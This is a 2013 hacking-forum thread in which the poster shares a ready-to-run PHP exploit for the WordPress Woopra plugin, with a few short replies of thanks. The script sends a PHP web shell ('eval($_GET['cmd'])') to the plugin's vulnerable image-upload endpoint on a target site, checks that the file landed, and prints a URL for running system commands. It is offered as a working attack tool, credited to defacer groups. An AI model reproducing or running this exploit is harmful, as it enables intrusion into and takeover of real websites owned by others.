搜索
查看: 801|回复: 3

WordPress Woopra plugin remote PHP arbitrary code execution exploit.

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2013-10-11 09:34:39 来自手机 | 显示全部楼层 |阅读模式
<?php

# woopra plugins ~ Exploit
# http://indonesiancoder.com/
#

echo <<<EOT

# -----------------------------------
#/   woopra ~ Exploit                \
#\           Author: wantexz         /
# -----------------------------------

################################################################################################
#                    Author: WANTEXZ
#
#   thank to : tukulesto,arianom,cimpli,jack_jahat,k4L0NG666,Br3NG0S,Xr0b0t,blie,KaMtiEz,Mboys
#            all indonesian coder, indonesian defacer, kill-9
,jatimcom , malangcyber
#
################################################################################################

EOT;


$options = getopt('u:f:');

if(!isset($options['u'], $options['f']))
die("\n        Usage example: php IDC.php -u http://target.com/ -f shell.php\n
-u http://target.com/    The full path to Joomla!
-f shell.php             The name of the file to create.\n");

$url     =  $options['u'];
$file    =  $options['f'];


$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url   = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";

$data      = "<?php eval(\$_GET['cmd']); ?>";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');


echo "        [+] Submitting request to: {$options['u']}\n";


$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);


if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') &&
@fopen($shell, 'r'))
{
echo "        [+] Exploit completed successfully!\n";
echo "        ______________________________________________\n\n
{$shell}?cmd=system('id');\n";
}
else
{
die("        [+] Exploit was unsuccessful.\n");
}

?>
专业回帖 该用户已被删除
发表于 2013-10-11 09:54:09 | 显示全部楼层
学习了,谢谢分享、、、
854955425 该用户已被删除
发表于 2013-10-11 10:19:18 | 显示全部楼层
俺是专业顶贴滴~~~
NeverMind 该用户已被删除
发表于 2013-12-14 20:32:22 | 显示全部楼层
wp的插件的啊……有点鸡肋了……还是谢谢分享
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表